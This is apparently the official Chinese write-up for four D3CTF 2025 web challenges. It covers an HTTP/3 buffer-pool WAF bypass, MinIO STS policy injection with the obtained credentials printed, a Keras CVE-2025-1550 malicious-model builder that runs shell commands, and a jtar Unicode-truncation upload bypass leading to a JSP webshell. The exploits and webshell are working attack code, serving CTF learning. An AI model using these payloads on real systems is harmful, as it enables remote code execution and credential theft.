D3CTF-2025-Official-Writeup-CN.pdf
tidy quic
package main
import (
"bytes"
"errors"
"github.com/libp2p/go-buffer-pool"
"github.com/quic-go/quic-go/http3"
"io"
"log"
"net/http"
"os"
)
var p pool.BufferPool
var ErrWAF = errors.New("WAF")
func main() {
go func() {
err := http.ListenAndServeTLS(":8080", "./server.crt", "./server.key", &mux{})
log.Fatalln(err)
}()
go func() {
err := http3.ListenAndServeQUIC(":8080", "./server.crt", "./server.key", &mux{})
log.Fatalln(err)
}()
select {}
}
type mux struct {
}
func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodGet {
_, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web."))
return
}
if r.Method != http.MethodPost {
w.WriteHeader(400)
return
}
var buf []byte
length := int(r.ContentLength)
if length == -1 {
var err error
buf, err = io.ReadAll(textInterrupterWrap(r.Body))
if err != nil {
if errors.Is(err, ErrWAF) {
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
} else {
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
}
return
}
} else {
buf = p.Get(length)
defer p.Put(buf)
rd := textInterrupterWrap(r.Body)
i := 0
for {
n, err := rd.Read(buf[i:])
if err != nil {
if errors.Is(err, io.EOF) {
break
} else if errors.Is(err, ErrWAF) {
w.WriteHeader(400)
_, _ = w.Write([]byte("WAF"))
return
} else {
w.WriteHeader(500)
_, _ = w.Write([]byte("error"))
return
}
}
i += n
}
}
if !bytes.HasPrefix(buf, []byte("I want")) {
_, _ = w.Write([]byte("Sorry I'm not clear what you want."))
return
}
item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
if bytes.Equal(item, []byte("flag")) {
_, _ = w.Write([]byte(os.Getenv("FLAG")))
} else {
_, _ = w.Write(item)
}
}
type wrap struct {
io.ReadCloser
ban []byte
idx int
}
func (w *wrap) Read(p []byte) (int, error) {
n, err := w.ReadCloser.Read(p)
if err != nil && !errors.Is(err, io.EOF) {
return n, err
}
for i := 0; i < n; i++ {
if p[i] == w.ban[w.idx] {
w.idx++
if w.idx == len(w.ban) {
return n, ErrWAF
}
} else {
w.idx = 0
}
}
return n, err
}
func textInterrupterWrap(rc io.ReadCloser) io.ReadCloser {
return &wrap{
rc, []byte("flag"), 0,
}
}
- HTTP/3 要求使用 HTTPS(TLS 加密)
- 只有 HTTPS 才能启用 HTTP/3 协议
- HTTP/3 默认使用 QUIC 协议,而 QUIC 协议底层已经基于 UDP
buf缓存复用,用完缓存后没有清除而是放进了公共池,然后是根据请求长度来获取缓存
item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
if bytes.Equal(item, []byte("flag")) {
buf = p.Get(length)
defer p.Put(buf)
可以通过设置 Content-Length 来填充上次请求的buf缓存内容,然后检测waf是检测的请求内容,获取flag是看的buf,从而进行绕过
curl --http3 -k -v https://35.241.98.126:30830 Hello D^3CTF 2025,I'm tidy quic in web.
curl --http3 -k -v -X POST https://35.241.98.126:30830 Sorry I'm not clear what you want.
curl --http3 -k -v -X POST https://35.241.98.126:30830 -d "I want flag" WAF
curl --http3 -k -v -X POST https://35.241.98.126:30830 -d 'I want \0flag'
x=$'I want ag'
curl -X POST https://35.241.98.126:30830 -d "$x" -v --insecure --http3 -H "Content-Length: 11"
x=$'I want fl '
curl -X POST https://35.241.98.126:30830 -d "$x" -v --insecure --http3 -H "Content-Length: 11"
curl -k --http3 -X POST https://35.241.98.126:31100 --data "I want" -H "Content-Length: 11"
curl -k --http3 -X POST https://35.241.98.126:31100 --data "I want flag" -H "Content-Length: 11"
curl -k --http3 -X POST https://35.241.98.126:31100 --data "I want" -H "Content-Length: 11"
d3invitation
https://stevenocean.github.io/2021/01/12/minio-sts-assumerole-sample.html
https://forum.butian.net/share/4340
{
"access_key_id": "GGQAD3S7AQV2CHW6FIWK",
"secret_access_key": "dUBCb6NEb+SQ++eaOxHLqf7nuf+5sq2Hnb+BFszW",
"session_token": "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJHR1FBRDNTN0FRVjJDSFc2RklXSyIsImV4cCI6MTc0ODcwMzMwMiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2TWk1cWNHY2lYWDFkZlE9PSJ9.e5_4cry-b2AEx8W4BHStRMe_XLmPNHN1V_T06lEKhRJ_D5kLPHlbahY7-5oYiUzV0-DeHCyXxAfFRN5XXq7DpA"
}
{"alg":"HS512","typ":"JWT"}.{"accessKey":"GGQAD3S7AQV2CHW6FIWK","exp":1748703302,"parent":"B9M320QXHD38WUR2MIY3","sessionPolicy":"eyJWZXJzaW9uIjoiMjAxMi0xMC0xNyIsIlN0YXRlbWVudCI6W3siRWZmZWN0IjoiQWxsb3ciLCJBY3Rpb24iOlsiczM6R2V0T2JqZWN0IiwiczM6UHV0T2JqZWN0Il0sIlJlc291cmNlIjpbImFybjphd3M6czM6OjpkM2ludml0YXRpb24vMi5qcGciXX1dfQ=="}.e5_4cry-b2AEx8W4BHStRMe_XLmPNHN1V_T06lEKhRJ_D5kLPHlbahY7-5oYiUzV0-DeHCyXxAfFRN5XXq7DpA
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::d3invitation/2.jpg"]}]}
{"object_name":"*\",\"arn:aws:s3:::*"}
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::*","arn:aws:s3:::d3invitation/*"]}]}
可以尝试构造一个特殊的object_name对policy进行注入,拿到一个对MinIO拥有所有权限的STS临时凭证
{"object_name":"*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*"}
"access_key_id":"NPO9XN9GE4MITLK9WCBB","secret_access_key":"KYOdEREHpVOnP2FCkxRn33vGL3azYoSyAUfY+U6R","session_token":"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJOUE85WE45R0U0TUlUTEs5V0NCQiIsImV4cCI6MTc0ODg3NDgxNiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.UVopT0BZzvHVLUIIofPpaPrBSEgf7U75ZHxAG_dr-iZXORS5fs8FvE6QZWqpBvC28E_VyIHGIrbC8TztFmJoMQ"
wget https://dl.min.io/client/mc/release/linux-amd64/mc chmod +x mc sudo mv mc /usr/local/bin/ export MC_HOST_youralias="http://yourserveraddress:9000 youraccesskey yoursecretkey" mc ls youralias mc ls youralias/yourbucketname mc cat youralias/yourbucketname/yourobjectname
export MC_HOST_d3invitation="http://NPO9XN9GE4MITLK9WCBB:KYOdEREHpVOnP2FCkxRn33vGL3azYoSyAUfY+U6R:eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJOUE85WE45R0U0TUlUTEs5V0NCQiIsImV4cCI6MTc0ODg3NDgxNiwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.UVopT0BZzvHVLUIIofPpaPrBSEgf7U75ZHxAG_dr-iZXORS5fs8FvE6QZWqpBvC28E_VyIHGIrbC8TztFmJoMQ@35.241.98.126:31110"
d3model
https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models
import zipfile
import json
import numpy as np
import os
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense
model_name = "model.keras"
x_train = np.random.rand(100, 28 * 28)
y_train = np.random.rand(100)
model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])
model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)
with zipfile.ZipFile(model_name, "r") as f:
config = json.loads(f.read("config.json").decode())
config["config"]["layers"][0]["module"] = "keras.models"
config["config"]["layers"][0]["class_name"] = "Model"
config["config"]["layers"][0]["config"] = {
"name": "mvlttt",
"layers": [
{
"name": "mvlttt",
"class_name": "function",
"config": "Popen",
"module": "subprocess",
"inbound_nodes": [{"args":[["bash", "-c", "env > index.html"]], "kwargs": {"bufsize": -1}}]
}],
"input_layers": [["mvlttt", 0, 0]],
"output_layers": [["mvlttt", 0, 0]]
}
with zipfile.ZipFile(model_name, 'r') as zip_read:
with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
for item in zip_read.infolist():
if item.filename != "config.json":
zip_write.writestr(item, zip_read.read(item.filename))
os.remove(model_name)
os.rename(f"tmp.{model_name}", model_name)
with zipfile.ZipFile(model_name, "a") as zf:
zf.writestr("config.json", json.dumps(config))
print("[+] Malicious model ready")
{
"config": {
"layers": [
{
"module": "keras.models",
"class_name":"Model",
"config":{"layers": [
{
"module": "keras.models",
"class_name":"Model",
"config":{
"name":"mvlttt", "layers":[
{
"name":"mvlttt",
"class_name":"function",
"config":"Popen",
"module": "subprocess",
"inbound_nodes":[{"args":[["bash", "-c", "env > index.html"]],"kwargs":{"bufsize":-1}}]
}],
"input_layers":[["mvlttt", 0, 0]],
"output_layers":[["mvlttt", 0, 0]]
}
}
]
}
}
]
}
}
d3jtar
不安全的jsp解析,显然只要成功上传jsp 文件即可RCE
在使用 jtar 的 TarOutputStream 打包文件时,它会把文件名中的 unicode 强制转化为 ascii 码, 从而发生字符截断。
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package d3.example.controller;
import d3.example.utils.BackUp;
import d3.example.utils.Upload;
import java.io.File;
import java.io.IOException;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Objects;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.ModelAndView;
@Controller
public class MainController {
public MainController() {
}
@GetMapping({"/view"})
public ModelAndView view(@RequestParam String page, HttpServletRequest request) {
if (page.matches("^[a-zA-Z0-9-]+$")) {
String viewPath = "/WEB-INF/views/" + page + ".jsp";
String realPath = request.getServletContext().getRealPath(viewPath);
File jspFile = new File(realPath);
if (realPath != null && jspFile.exists()) {
return new ModelAndView(page);
}
}
ModelAndView mav = new ModelAndView("Error");
mav.addObject("message", "The file don't exist.");
return mav;
}
@PostMapping({"/Upload"})
@ResponseBody
public String UploadController(@RequestParam MultipartFile file) {
try {
String uploadDir = "webapps/ROOT/WEB-INF/views";
Set<String> blackList = new HashSet(Arrays.asList("jsp", "jspx", "jspf", "jspa", "jsw", "jsv", "jtml", "jhtml", "sh", "xml", "war", "jar"));
String filePath = Upload.secureUpload(file, uploadDir, blackList);
return "Upload Success: " + filePath;
} catch (Upload.UploadException var5) {
return "The file is forbidden: " + var5;
}
}
@PostMapping({"/BackUp"})
@ResponseBody
public String BackUpController(@RequestParam String op) {
if (Objects.equals(op, "tar")) {
try {
BackUp.tarDirectory(Paths.get("backup.tar"), Paths.get("webapps/ROOT/WEB-INF/views"));
return "Success !";
} catch (IOException var3) {
return "Failure : tar Error";
}
} else if (Objects.equals(op, "untar")) {
try {
BackUp.untar(Paths.get("webapps/ROOT/WEB-INF/views"), Paths.get("backup.tar"));
return "Success !";
} catch (IOException var4) {
return "Failure : untar Error";
}
} else {
return "Failure : option Error";
}
}
}
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package d3.example.utils;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.util.Collections;
import java.util.List;
import org.kamranzafar.jtar.TarEntry;
import org.kamranzafar.jtar.TarInputStream;
import org.kamranzafar.jtar.TarOutputStream;
public class BackUp {
public BackUp() {
}
public static void tarDirectory(Path outputFile, Path inputDirectory) throws IOException {
tarDirectory(outputFile, inputDirectory, Collections.emptyList());
}
public static void tarDirectory(Path outputFile, Path inputDirectory, List<String> pathPrefixesToExclude) throws IOException {
FileOutputStream dest = new FileOutputStream(outputFile.toFile());
Path outputFileAbsolute = outputFile.normalize().toAbsolutePath();
Path inputDirectoryAbsolute = inputDirectory.normalize().toAbsolutePath();
int inputPathLength = inputDirectoryAbsolute.toString().length();
TarOutputStream out = new TarOutputStream(new BufferedOutputStream(dest));
Throwable var8 = null;
try {
Files.walk(inputDirectoryAbsolute).forEach((entry) -> {
if (!Files.isDirectory(entry, new LinkOption[0])) {
if (!entry.equals(outputFileAbsolute)) {
try {
String relativeName = entry.toString().substring(inputPathLength + 1);
out.putNextEntry(new TarEntry(entry.toFile(), relativeName));
BufferedInputStream origin = new BufferedInputStream(new FileInputStream(entry.toFile()));
byte[] data = new byte[2048];
int count;
while((count = origin.read(data)) != -1) {
out.write(data, 0, count);
}
out.flush();
origin.close();
} catch (IOException var8) {
var8.printStackTrace();
}
}
}
});
} catch (Throwable var17) {
var8 = var17;
throw var17;
} finally {
if (out != null) {
if (var8 != null) {
try {
out.close();
} catch (Throwable var16) {
var8.addSuppressed(var16);
}
} else {
out.close();
}
}
}
}
public static void untar(Path outputDirectory, Path inputTarFile) throws IOException {
FileInputStream fileInputStream = new FileInputStream(inputTarFile.toFile());
Throwable var3 = null;
try {
untar(outputDirectory, (InputStream)fileInputStream);
} catch (Throwable var12) {
var3 = var12;
throw var12;
} finally {
if (fileInputStream != null) {
if (var3 != null) {
try {
fileInputStream.close();
} catch (Throwable var11) {
var3.addSuppressed(var11);
}
} else {
fileInputStream.close();
}
}
}
}
public static void untar(Path outputDirectory, InputStream inputStream) throws IOException {
TarInputStream tarInputStream = new TarInputStream(inputStream);
Throwable var3 = null;
try {
TarEntry entry;
try {
while((entry = tarInputStream.getNextEntry()) != null) {
byte[] data = new byte['耀'];
File outputFile = new File(outputDirectory + "/" + entry.getName());
if (!outputFile.getParentFile().isDirectory()) {
outputFile.getParentFile().mkdirs();
}
FileOutputStream fos = new FileOutputStream(outputFile);
BufferedOutputStream dest = new BufferedOutputStream(fos);
int count;
while((count = tarInputStream.read(data)) != -1) {
dest.write(data, 0, count);
}
dest.flush();
dest.close();
}
} catch (Throwable var17) {
var3 = var17;
throw var17;
}
} finally {
if (tarInputStream != null) {
if (var3 != null) {
try {
tarInputStream.close();
} catch (Throwable var16) {
var3.addSuppressed(var16);
}
} else {
tarInputStream.close();
}
}
}
}
}
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package d3.example.utils;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Set;
import java.util.UUID;
import org.springframework.util.StringUtils;
import org.springframework.web.multipart.MultipartFile;
public class Upload {
public Upload() {
}
public static String secureUpload(MultipartFile file, String uploadDir, Set<String> blackList) throws UploadException {
try {
if (file.isEmpty()) {
throw new UploadException("File cannot be empty");
} else {
String originalFilename = file.getOriginalFilename();
checkFileNameSecurity(originalFilename);
checkFileTypeSecurity(originalFilename, file.getContentType(), blackList);
String safeFileName = generateSafeFileName(originalFilename);
Path uploadPath = Paths.get(uploadDir).normalize().toAbsolutePath();
if (!Files.exists(uploadPath, new LinkOption[0])) {
Files.createDirectories(uploadPath);
}
Path targetPath = uploadPath.resolve(safeFileName);
file.transferTo(targetPath);
return safeFileName;
}
} catch (IOException var7) {
throw new UploadException("ERROR: " + var7.getMessage());
}
}
private static void checkFileNameSecurity(String fileName) throws UploadException {
if (fileName != null && !fileName.isEmpty()) {
if (fileName.matches(".*[\\\\/$;:%\u0000].*")) {
throw new UploadException("File name contains forbidden character");
}
} else {
throw new UploadException("Invalid file name");
}
}
private static void checkFileTypeSecurity(String fileName, String contentType, Set<String> blackList) throws UploadException {
String fileExt = getFileExtension(fileName).toLowerCase();
if (blackList != null && !blackList.isEmpty() && blackList.contains(fileExt)) {
throw new UploadException("Forbidden type");
} else if (!isContentTypeValid(fileExt, contentType)) {
throw new UploadException("File content does not match the type");
}
}
private static String generateSafeFileName(String originalName) {
String ext = getFileExtension(originalName);
return UUID.randomUUID().toString() + "." + ext;
}
private static String getFileExtension(String fileName) {
return StringUtils.getFilenameExtension(fileName);
}
private static boolean isContentTypeValid(String fileExt, String contentType) {
if (contentType == null) {
return true;
} else {
String expectedType = getMimeTypeByExtension(fileExt);
return contentType.startsWith(expectedType);
}
}
private static String getMimeTypeByExtension(String ext) {
switch (ext.toLowerCase()) {
case "jpg":
case "jpeg":
return "image/jpeg";
case "png":
return "image/png";
case "gif":
return "image/gif";
case "pdf":
return "application/pdf";
case "doc":
return "application/msword";
case "docx":
return "application/vnd.openxmlformats-officedocument.wordprocessingml.document";
case "txt":
return "text/plain";
default:
return "application/octet-stream";
}
}
}
具体原理可查看jtar源码(https://github.com/kamranzafar/jtar)中TarHeader的 getNameBytes方法如下,使用(byte)强制转换unicode文件名称时会导致字符截断, 打包后文件名称发生改变。
public static int getNameBytes(StringBuffer name, byte[] buf, int offset, int length) {
int i;
for (i = 0; i < length && i < name.length(); ++i) {
buf[offset + i] = (byte) name.charAt(i);
}
for (; i < length; ++i) {
buf[offset + i] = 0;
}
return offset + length;
}
buf[offset + i] = (byte)name.charAt(i);
这一行将 char 强制转换为 byte, 由于 Java 中 char 是 16 位的 Unicode 字符 (0-65535), 而 byte 是有符号的 8 位整数(-128-127), 强制转换时会截断高 8 位,仅保留低 8 位,所以这里我们只需要找到超出 byte 范围的 Unicode 值,它被转换成 byte 后就会变成指定的 ASCII 值 (如 char 的值为 257 时强制转换为 byte 就是为 1, 即 ascii 码为 1)
利用这一点,我们可以将后缀带有特定unicode字符的文件上传 至靶机,绕过后缀黑名单检查,通过备份与恢复功能将上传的文件转变为jsp后缀的文 件并放回jsp可解析目录,最终RCE获取flag。
文件名:payload.陪sp –> payload.jsp
<%@ page import="java.io.*" %>
<%
String cmd = "printenv";
String output = "";
try {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output += line + "<br>";
}
} catch (Exception e) {
output = "Error executing command: " + e.getMessage();
}
%>
<html>
<head><title>Command Output</title></head>
<body>
<h2>Executed Command: <code><%= cmd %></code></h2>
<pre><%= output %></pre>
</body>
</html>
[Command Output](http://35.241.98.126:31184/view?page=23709ae1-04e3-4a35-9fc9-6202eb616cbc)
或
<%@ page import="java.util.*, java.io.*" %>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
<h1>Webshell Active</h1>
<form method="GET">
<input type="text" name="cmd" size="80">
<input type="submit" value="Execute">
</form>
http://35.241.98.126:31184/view?page=23709ae1-04e3-4a35-9fc9-6202eb616cbc&cmd=env
解题所使用的unicode字符可以参考以下脚本获取,只要可以转换为正常后缀的 ASCII字符即可,例如payload.멪ⅳば也是相同效果。
import unicodedata
def reverse_search(byte_value):
low_byte = byte_value & 0xFF
candidates = []
for high in range(0x00, 0xFF + 1):
code_point = (high << 8) | low_byte
try:
char = chr(code_point)
name = unicodedata.name(char)
candidates.append((f"U+{code_point:04X}", char, name))
except ValueError:
continue
return candidates
ascii_character = "j" # "s","p"
byte_val = ord(ascii_character)
print(f"Possible original characters ({byte_val} → 0x{byte_val & 0xFF:02X}):")
results = reverse_search(byte_val)
for cp, char, name in results:
print(f"{cp}: {char} - {name}")
另外,其实选手如果有心注意的话,在jtar的github项目里有一条23年的pr(最上 方),是关于中文编码错误的修改(但并未被合并),可以作为一条潜在的hint,提醒 选手关注jtar的编码问题。